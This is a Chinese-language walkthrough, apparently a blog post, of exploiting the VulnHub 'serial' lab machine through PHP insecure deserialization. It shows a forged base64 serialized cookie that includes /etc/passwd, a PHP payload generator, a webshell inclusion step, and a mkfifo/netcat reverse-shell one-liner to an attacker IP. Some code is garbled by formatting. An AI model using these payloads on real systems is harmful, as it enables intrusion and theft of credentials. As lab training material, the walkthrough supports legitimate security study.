反序列化靶机实战serial(保姆级教程)

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件 分析一下

index.php

<?php
include("user.class.php");

if(!isset(_COOKIE\['user'\])) { setcookie("user", base64_encode(serialize(new User('sk4')))); } else { unserialize(base64_decode(_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php

class Log {

private $type_log;

function __costruct($hnd) {

this-\>type_log = $hnd;

}

public function handler($val) {

include($this->type_log);

echo "LOG: " . $val;

}

}

?>

user.class.php

<?php

include("log.class.php");

class Welcome {

public function handler($val) {

echo "Hello " . $val;

}

}

class User {

private $name;

private $wel;

function __construct($name) {

this-\>name = name;

$this->wel = new Welcome();

}

function __destruct() {

//echo "bye\n";

this-\>wel-\>handler(this->name);

}

}

?>

提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到 然后成功包含 看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

php 复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关推荐
阿杰 AJie13 小时前
主流传输 /通信协议的【使用场景 + 详细使用说明】大全
服务器·tcp/ip
工程师老罗13 小时前
龙芯2k0300 PMON取消Linux自启动
linux·运维·服务器
千百元13 小时前
centos如何删除恶心定时任务
linux·运维·centos
skywalk816313 小时前
网站证书自动续订失败的问题解决,原来是续订指令certbot renew出错,导致crontab定时任务续订失败
运维·服务器·证书·certbot
额呃呃13 小时前
游戏服务器和一般高性能服务器的区别
运维·服务器·游戏
liwulin050614 小时前
【JAVA】创建一个不需要依赖的websocket服务器接收音频文件
java·服务器·websocket
ICT系统集成阿祥14 小时前
OSPF邻居建立失败完整排查指南
网络·网络协议
gaize121314 小时前
服务器分类及区别划分!多样化服务器用途体系架构及层次分类
运维·服务器·架构
liulilittle15 小时前
OPENPPP2 Code Analysis One
网络·c++·网络协议·信息与通信·通信
叫致寒吧15 小时前
k8s操作(三)
网络·容器·kubernetes